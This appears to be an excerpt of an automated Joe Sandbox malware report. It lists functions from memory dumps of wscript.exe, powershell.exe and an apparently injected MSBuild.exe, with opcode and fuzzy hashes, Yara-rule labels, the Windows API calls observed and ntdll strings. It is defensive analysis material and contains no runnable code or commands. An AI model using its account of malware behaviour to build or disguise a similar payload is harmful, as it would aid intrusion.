API String ID:
Opcode ID: 5b126cfd5c94aacad79e535d4cfeb91b6bfeb670680fde09895e56b682b51716
Instruction ID: d17d2d6604b84d1805d331a27aebaf329d5d3b866e55abb36e1d2715161e0f68
Opcode Fuzzy Hash: 5b126cfd5c94aacad79e535d4cfeb91b6bfeb670680fde09895e56b682b51716
Instruction Fuzzy Hash: D33226A644E7C19FD7538B74886A6917FB0AF13228B5E85DFC0C08F4A3D21D595BC722

Function 02D59182 Relevance: .5, Instructions: 513COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7be5512ebe0c94fa1fe9852b55a6c2381f64f734db3ab88d82c739600b713784
Instruction ID: 8e4e77ee34c0377e5969814cf3774d190571be3d419af65c0bfc494aa89b11e8
Opcode Fuzzy Hash: 7be5512ebe0c94fa1fe9852b55a6c2381f64f734db3ab88d82c739600b713784
Instruction Fuzzy Hash: 8CE1E272BA86404BC70CDE18DCD26B973DAE7CA30AF59943DE8C7C7247DA3995038949

Function 0000023761C2B6B8 Relevance: .5, Instructions: 513COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7be5512ebe0c94fa1fe9852b55a6c2381f64f734db3ab88d82c739600b713784
Instruction ID: b70281de44877216f2730bce25772d5df65d02083799a63f61eed118fc3be2ff
Opcode Fuzzy Hash: 7be5512ebe0c94fa1fe9852b55a6c2381f64f734db3ab88d82c739600b713784
Instruction Fuzzy Hash: BBE11472BA86404BC71CDE18DCD66B973DAE7CA309F19947CE4C7C7247DA28D5038949

Function 02D5A0B6 Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37defaca62f9879e99dcf17c77c3bb781ac97dfb1e05a4ac65b9cb65b86c0579
Instruction ID: 0b7abc2943d8f4506869bbd5059381e2f02321d8e0f3f9651dda8af5b2d8865d
Opcode Fuzzy Hash: 37defaca62f9879e99dcf17c77c3bb781ac97dfb1e05a4ac65b9cb65b86c0579
Instruction Fuzzy Hash: AB41D0717187644B8B4CDA2D949162A77D6E7CC304F18863EFADBC7381EA74ED028786

Function 0000023761C2C5EC Relevance: .2, Instructions: 161COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d6ef0a1f0eb7bae9c0ac86057c70be6f14b398792a923c10ce3462db9e019b2
Instruction ID: c0ab1fd2683eddacb115bd816c446b5fdd3919dd704194c6004dec42b94e1b57
Opcode Fuzzy Hash: 4d6ef0a1f0eb7bae9c0ac86057c70be6f14b398792a923c10ce3462db9e019b2
Instruction Fuzzy Hash: D441B0B1B18B454BDB6CD92D949622E77D6E7CD304F14463DF68BC3381D928EA038B86

Function 02D4BFB2 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0bd5713dc855e4ec23ee48de20aa330b894c3cb2d70f90cca9fc99ad51232c3
Instruction ID: 82ca4e26baec87ab64752bda38127a7d5ffbd52d39454631737cab258d85ecee
Opcode Fuzzy Hash: c0bd5713dc855e4ec23ee48de20aa330b894c3cb2d70f90cca9fc99ad51232c3
Instruction Fuzzy Hash: 2641E871619B094FC728EF689081776B3E2FB85304F50462ED98BC3352EB71EC418B85

Function 0000023761C1E4E8 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0bd5713dc855e4ec23ee48de20aa330b894c3cb2d70f90cca9fc99ad51232c3
Instruction ID: 040daef7b853100a3a4066e8f54bfa2d3be67398958df7439dea6f5761f0e3d8
Opcode Fuzzy Hash: c0bd5713dc855e4ec23ee48de20aa330b894c3cb2d70f90cca9fc99ad51232c3
Instruction Fuzzy Hash: C041F6B090CF0D4FEB79AE69909B77AB3E5FB84300F51052DD986C3693EA74D9038A44

Function 02D59D21 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2391021607.0000000002CD0000.00000040.80000000.00040000.00000000.sdmp, Offset: 02CD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2cd0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02be4cc78a59b34649a58af90c87a9ca59e652df32f9f5e3922396ce0ffe3c1
Instruction ID: 6c67c62ab2ad6e1600b13d9e2dbda57238008d8fd99722dc74aed44c2ba76ab1
Opcode Fuzzy Hash: a02be4cc78a59b34649a58af90c87a9ca59e652df32f9f5e3922396ce0ffe3c1
Instruction Fuzzy Hash: CC41B5717286558BCB5CCA2C94A127A77D6E78D304F24863EF98BC3381DA74ED038AC5

Function 0000023761C2C257 Relevance: .1, Instructions: 137COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2399010828.0000023761BF0000.00000040.80000000.00040000.00000000.sdmp, Offset: 0000023761BF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23761bf0000_wscript.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02be4cc78a59b34649a58af90c87a9ca59e652df32f9f5e3922396ce0ffe3c1
Instruction ID: 2c26bc535475dc34e7ca0816a27b137a91fc53dc3487c0460ab39e269aca16e6
Opcode Fuzzy Hash: a02be4cc78a59b34649a58af90c87a9ca59e652df32f9f5e3922396ce0ffe3c1
Instruction Fuzzy Hash: 31419371B286454BDB5CCA2C94A636E77D6E78D304F24863EF58BC33C1D934DA138A89

Analysis Process: powershell.exePID: 7464, Parent PID: 7384COMMON

Executed Functions

Function 00007FFD9B4337B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2364167350.00007FFD9B430000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B430000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffd9b430000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89cf490454d7bf4db362622e3d2b8a85fcc481bc01f27d3ca7e3566b79ed4113
Instruction ID: 4fedb9de3cff515300848983c054d2f3e4057ffc346f18ca323461134f51a45c
Opcode Fuzzy Hash: 89cf490454d7bf4db362622e3d2b8a85fcc481bc01f27d3ca7e3566b79ed4113
Instruction Fuzzy Hash: 0001A77020CB0D4FD748EF0CE051AA6B3E0FB89324F10056DE58AC36A5DB32E882CB41

Analysis Process: MSBuild.exePID: 8012, Parent PID: 7616COMMON

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	5.4%
Signature Coverage:	2.7%
Total number of Nodes:	148
Total number of Limit Nodes:	10

Executed Functions

Function 00417B53 Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417BC5

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
Instruction ID: cff81ac32cb72360c3ac4950556065fa39e45470c75b7dccc426fadd218cfce5
Opcode Fuzzy Hash: 169300342ec012082af8d9fc994880b487080d55fc2ea02b2f42f86782b7218c
Instruction Fuzzy Hash: 240171B1E0420DBBDF10DBE5DC52FDEB3789B54308F4081AAE90897240F634EB588B95

Function 0042CB03 Relevance: 1.5, APIs: 1, Instructions: 25
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtClose.NTDLL(?,?,00000000,00000000,0000001F,?,FA0A1F00), ref: 0042CB34

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Close
String ID:
API String ID: 3535843008-0
Opcode ID: c9ee12a75c3df09896fd10a5e432e13abe3670f004da60ca3f11a9296866f34f
Instruction ID: ba9035e57b49a5b789f2e9b5fc8dfb0460036ce468971b6eb964efb3b90a8674
Opcode Fuzzy Hash: c9ee12a75c3df09896fd10a5e432e13abe3670f004da60ca3f11a9296866f34f
Instruction Fuzzy Hash: 8EE04F312002147BC120AE5ADC01F97776CDBC5714F40445AFA0867242C775B90586B5

Function 013D2B60 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 013D2B6A

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 240f27a792cb424027b6c9d7c58fb96a90ff1f5d41115a9b2853e528bd864fa8
Instruction ID: 0732a20255fcacc2bb272d7b921ad8e6cda7bbee61c81b68d23b90f46ef8cbfe
Opcode Fuzzy Hash: 240f27a792cb424027b6c9d7c58fb96a90ff1f5d41115a9b2853e528bd864fa8
Instruction Fuzzy Hash: 85900265602510039105715C4418616404A97E0205B55C061E1014594DC53589956225

Function 013D2DF0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 013D2DFA

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 2eee65347ea214c86e72a976bfc764c68c71ece6c91fe0f781968b33e1944c45
Instruction ID: f21f99a503d12b3c22a35ffec948b3d191093d200eebf500980f951a579f6247
Opcode Fuzzy Hash: 2eee65347ea214c86e72a976bfc764c68c71ece6c91fe0f781968b33e1944c45
Instruction Fuzzy Hash: A190023560151413E111715C4508707004997D0245F95C452A042455CDD6668A56A221

Function 013D2C70 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 013D2C7A

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9d7bf09c89eae3e4abfa639f127152bdafd52cf8ee3327c609547adb33bb7974
Instruction ID: 3fa071f6f3fbf6c24c97f3ceaafda12b4e46bc9afae37ed23931636b5101143a
Opcode Fuzzy Hash: 9d7bf09c89eae3e4abfa639f127152bdafd52cf8ee3327c609547adb33bb7974
Instruction Fuzzy Hash: 1A90023560159802E110715C840874A004597D0305F59C451A442465CDC6A589957221

Function 013D2CA0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 013D2CAA

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a1cf7ff0c89bd3170d1173f4362e06e7a14abc1c1ca2a3a22197739de21dac
Instruction ID: be862fdfab40529157df249ea339e7e8ba1d88f151b8d38f3d2b2dbcd6d62f74
Opcode Fuzzy Hash: 34a1cf7ff0c89bd3170d1173f4362e06e7a14abc1c1ca2a3a22197739de21dac
Instruction Fuzzy Hash: 0290023560151402E100759C540C646004597E0305F55D051A5024559EC67589956231

Function 013D2F90 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 013D2F9A

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 12b6dd8b11fd0db968269b61f39c3c1c5f744502c217653530f30ea8e8df22c9
Instruction ID: 7c01e4619bf2a3fff20f2f4117781bc879113ef336e220b3c31731c4725751dc
Opcode Fuzzy Hash: 12b6dd8b11fd0db968269b61f39c3c1c5f744502c217653530f30ea8e8df22c9
Instruction Fuzzy Hash: E090023560191402E100715C481870B004597D0306F55C051A1164559DC63589556671

Function 013D35C0 Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 013D35CA

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 51399ac9ffb2b243c77b739eb374c92c8ff43453cef1f0721fbb0632191dd371
Instruction ID: 5e027a6dff10189659c13b6745c2c46691b65f1c396b721cfe3564878da34af1
Opcode Fuzzy Hash: 51399ac9ffb2b243c77b739eb374c92c8ff43453cef1f0721fbb0632191dd371
Instruction Fuzzy Hash: 21900235A0561402E100715C4518706104597D0205F65C451A042456CDC7A58A5566A2

Function 00414378 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(4789071F,00000111,00000000,00000000), ref: 004143FA

Strings

#U, xrefs: 0041437F
4789071F, xrefs: 00414401, 00414404
4789071F, xrefs: 004143EF, 004143F9, 0041440A

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 4789071F$4789071F$#U
API String ID: 1836367815-4022187411
Opcode ID: bdc1de7847b4fb16345e3f794f62c053428f8a759900698bcce9c4fc26c12a83
Instruction ID: 0e2d3ecc4f3d0f07fd2a09dab770b023fbfbb3c6726e30d271a355b0b5feb86e
Opcode Fuzzy Hash: bdc1de7847b4fb16345e3f794f62c053428f8a759900698bcce9c4fc26c12a83
Instruction Fuzzy Hash: 9D11E9B2D0115C7EDB11ABE19C82DEF7B7CDF80758F448069FA1467241D5384E0687E1

Function 00414308 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 107
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(4789071F,00000111,00000000,00000000), ref: 004143FA

Strings

4789071F, xrefs: 00414401, 00414404
4789071F, xrefs: 004143EF, 004143F9, 0041440A

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 4789071F$4789071F
API String ID: 1836367815-3950601534
Opcode ID: 78359790b95226ea04be1a2bb8184a0a9cd1537a66412848d3fdb8bf1f548c67
Instruction ID: cc53f823d8dfc0b45ef7b9f8de6580349de30d18372f7ad225674a21dd890d50
Opcode Fuzzy Hash: 78359790b95226ea04be1a2bb8184a0a9cd1537a66412848d3fdb8bf1f548c67
Instruction Fuzzy Hash: 6D315072A0118D7FDB11EBA5DC81DDF7B78EF81358B4441AEF804D7142D2385E468795

Function 00414383 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(4789071F,00000111,00000000,00000000), ref: 004143FA

Strings

4789071F, xrefs: 00414401, 00414404
4789071F, xrefs: 004143EF, 004143F9, 0041440A

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID: 4789071F$4789071F
API String ID: 1836367815-3950601534
Opcode ID: 1a784243e21fd54dc545d600bee99c5129cb96a11552e9cd6bfdcba40e9bdccc
Instruction ID: 65ee05b1a01d88756ff80e197dafe2d6756dff3dc722b98f382466506fc213f6
Opcode Fuzzy Hash: 1a784243e21fd54dc545d600bee99c5129cb96a11552e9cd6bfdcba40e9bdccc
Instruction Fuzzy Hash: EA01C4B1D0115C7ADB11AAE19C82DEF7B7CDF80798F44806AFA1467241D6385E068BB5

Function 00417BED Relevance: 1.6, APIs: 1, Instructions: 66
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417BC5

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 31f813af035243cd26d958f17192baafba51a5d628c02dc63890d59a6f01c254
Instruction ID: fdd1673baecdba0cb85ff3e44e7a2cc4aea26df2d36a71aaa7c4bce748f2a361
Opcode Fuzzy Hash: 31f813af035243cd26d958f17192baafba51a5d628c02dc63890d59a6f01c254
Instruction Fuzzy Hash: 29118071508647AFCB00EBA8D845EDDBBB1FB05308F18469EE694C7247E330A656C786

Function 00417C04 Relevance: 1.6, APIs: 1, Instructions: 53
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL(00000000,00000000,?,?), ref: 00417BC5

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: cc8a6b35f9b06c9bcd1abd51de4572752eb33230937752413e5eabfb53e9cb37
Instruction ID: 15684ca63856f2ce53043c4ffa10e50dccb7a9086da29da0e7077bbd191f691f
Opcode Fuzzy Hash: cc8a6b35f9b06c9bcd1abd51de4572752eb33230937752413e5eabfb53e9cb37
Instruction Fuzzy Hash: 0E0147B180460BEBCF00EEB8D981EDCBBF0FB14308F144299E98497206E730B655CB81

Function 0042CE73 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,6ED9EBA1,00000007,00000000,00000004,00000000,004173CD,000000F4), ref: 0042CEAC

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 851142cb7fa9c83753263c3c10c1740acc6173fb79af0817dc9ff9eee6ffe6a5
Instruction ID: b9ca338e60bd2b7943d9d7f0314c95f70423a11a6c33ef79f219f8aa7d44deaa
Opcode Fuzzy Hash: 851142cb7fa9c83753263c3c10c1740acc6173fb79af0817dc9ff9eee6ffe6a5
Instruction Fuzzy Hash: EDE06D712042047BC614EE59EC41E9B73ACDFC5714F000419FA08A7281DA75B911CBB8

Function 0042CE23 Relevance: 1.5, APIs: 1, Instructions: 29
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(?,0041E90E,?,?,00000000,?,0041E90E,?,?,?), ref: 0042CE5F

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: fc17c7c206684ab0106122256be8546507daf1ce0ff0ed4a555c94f2499e0637
Instruction ID: 2b5b20150f49385b7742a7a5713349b9e5883766a4ace5a7f153605199b15d46
Opcode Fuzzy Hash: fc17c7c206684ab0106122256be8546507daf1ce0ff0ed4a555c94f2499e0637
Instruction Fuzzy Hash: 8FE06D723042047BD610EE59EC41E9B73ACEFC5B10F00441AFA09A7241D674B911CAB9

Function 0042CEB3 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(?,00000000,00000000,?,DB4F967F,?,?,DB4F967F), ref: 0042CEE7

Memory Dump Source

Source File: 00000009.00000002.2184961548.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 81d74574fff730ef8ffa995280186f1862f3d553ae12748c9d2894c8fee9ffea
Instruction ID: 1766ae2e7b72796083ce1554eeb2be80e0dee529967217328c78c90fce4a93bd
Opcode Fuzzy Hash: 81d74574fff730ef8ffa995280186f1862f3d553ae12748c9d2894c8fee9ffea
Instruction Fuzzy Hash: 2DE04F757112147BD110FA5ADC01F97776CDBC5714F40445AFA0867241C675790187F8

Function 013D2C0A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 013D2C24

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8aae6cb4ebc02a51679b100cdc5eedd9c87adf5af78f344f4cd8ea65896d9fc5
Instruction ID: 15c3b7c43ec97361734baa26885384f78ebbb9aba6f32eb79e3d2e6b823790ec
Opcode Fuzzy Hash: 8aae6cb4ebc02a51679b100cdc5eedd9c87adf5af78f344f4cd8ea65896d9fc5
Instruction Fuzzy Hash: F9B09B72D015D5C5EE12E764560C717794077D0705F15C061D2030745F4738C5D5E275

Non-executed Functions

Function 01412349 Relevance: 26.1, Strings: 20, Instructions: 1117COMMON

Download Yara Rule

Strings

ShutdownFlags, xrefs: 014124A1
UnloadEventTraceDepth, xrefs: 014124C0
GlobalFlag, xrefs: 01412F3F, 01413059
@, xrefs: 01412942
LdrpInitializeExecutionOptions, xrefs: 0141317D
DisableHeapLookaside, xrefs: 0141246D
UseImpersonatedDeviceMap, xrefs: 0141251C
TracingFlags, xrefs: 01412549
MaxLoaderThreads, xrefs: 014124EC
CFGOptions, xrefs: 01412967
minkernel\ntdll\ldrinit.c, xrefs: 01413187
RaiseExceptionOnPossibleDeadlock, xrefs: 01412579
MaxDeadActivationContexts, xrefs: 01412D82
GlobalFlag2, xrefs: 01412FC0
MinimumStackCommitInBytes, xrefs: 01412BB0
FrontEndHeapDebugOptions, xrefs: 01412489
DisableExceptionChainValidation, xrefs: 0141275F
@, xrefs: 01412B74
ExecuteOptions, xrefs: 014125A0
Initializing the application verifier package failed with status 0x%08lx, xrefs: 01413176

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: @$@$CFGOptions$DisableExceptionChainValidation$DisableHeapLookaside$ExecuteOptions$FrontEndHeapDebugOptions$GlobalFlag$GlobalFlag2$Initializing the application verifier package failed with status 0x%08lx$LdrpInitializeExecutionOptions$MaxDeadActivationContexts$MaxLoaderThreads$MinimumStackCommitInBytes$RaiseExceptionOnPossibleDeadlock$ShutdownFlags$TracingFlags$UnloadEventTraceDepth$UseImpersonatedDeviceMap$minkernel\ntdll\ldrinit.c
API String ID: 0-2160512332
Opcode ID: 0a0f28befa12386349b7bd18fca16f6a7d2ca4d6971a8d7819de83c59b9b4959
Instruction ID: a67bf6fa5c7c0cb25e8ac7877a065892e89ae6e29278bf2ba699bf5deaab6259
Opcode Fuzzy Hash: 0a0f28befa12386349b7bd18fca16f6a7d2ca4d6971a8d7819de83c59b9b4959
Instruction Fuzzy Hash: BC928D71604342AFE725DF28C880F6BBBE8BB84754F24491EFA94D7264D7B0E845CB52

Function 013C8620 Relevance: 17.7, Strings: 14, Instructions: 223COMMON

Download Yara Rule

Strings

corrupted critical section, xrefs: 014054C2
Critical section address, xrefs: 01405425, 014054BC, 01405534
Thread is in a state in which it cannot own a critical section, xrefs: 01405543
Critical section debug info address, xrefs: 0140541F, 0140552E
Thread identifier, xrefs: 0140553A
undeleted critical section in freed memory, xrefs: 0140542B
double initialized or corrupted critical section, xrefs: 01405508
Address of the debug info found in the active list., xrefs: 014054AE, 014054FA
8, xrefs: 014052E3
Initialization stack trace. Use dps to dump it if non-NULL., xrefs: 0140540A, 01405496, 01405519
Invalid debug info address of this critical section, xrefs: 014054B6
Second initialization stack trace. Use dps to dump it if non-NULL., xrefs: 014054CE
First initialization stack trace. Use dps to dump it if non-NULL., xrefs: 014054E2
Critical section address., xrefs: 01405502

Memory Dump Source

Source File: 00000009.00000002.2194797530.0000000001360000.00000040.00001000.00020000.00000000.sdmp, Offset: 01360000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1360000_MSBuild.jbxd

Similarity

API ID:
String ID: 8$Address of the debug info found in the active list.$Critical section address$Critical section address.$Critical section debug info address$First initialization stack trace. Use dps to dump it if non-NULL.$Initialization stack trace. Use dps to dump it if non-NULL.$Invalid debug info address of this critical section$Second initialization stack trace. Use dps to dump it if non-NULL.$Thread identifier$Thread is in a state in which it cannot own a critical section$corrupted critical section$double initialized or corrupted critical section$undeleted critical section in freed memory
API String ID: 0-2368682639
Opcode ID: 23d498aad1c5c4282835437a9aeb5790799cb6e13b4b365a3e9a723372d9f9ff
Instruction ID: 75cc28cf240e158aaf89e33d342f072a3cfc591038a74193adaa665da426f8b8
Opcode Fuzzy Hash: 23d498aad1c5c4282835437a9aeb5790799cb6e13b4b365a3e9a723372d9f9ff
Instruction Fuzzy Hash: 1C815E71A40358EFEB21CF9AC845BAEBBB5EB08B18F10416AE504BB790D375A945CF50

Function 013C29F9 Relevance: 14.2, Strings: 11, Instructions: 411COMMON

Download Yara Rule

Strings

SXS: Unable to resolve storage root for assembly directory %wZ in %Iu tries, xrefs: 014024C0
SXS: Attempt to insert well known storage root into assembly storage map assembly roster index %lu failed; Status = 0x%08lx, xrefs: 01402412
SXS: Attempt to translate DOS path name "%S" to NT format failed, xrefs: 01402506
@, xrefs: 0140259B
SXS: Unable to open assembly directory under storage root "%S"; Status = 0x%08lx, xrefs: 014025EB
SXS: %s() bad parametersSXS: Map : %pSXS: Data : %pSXS: AssemblyRosterIndex: 0x%lxSXS: Map->AssemblyCount : 0x%lx, xrefs: 01402624
SXS: Attempt to probe assembly storage root %wZ for assembly directory %wZ failed with status = 0x%08lx, xrefs: 01402498
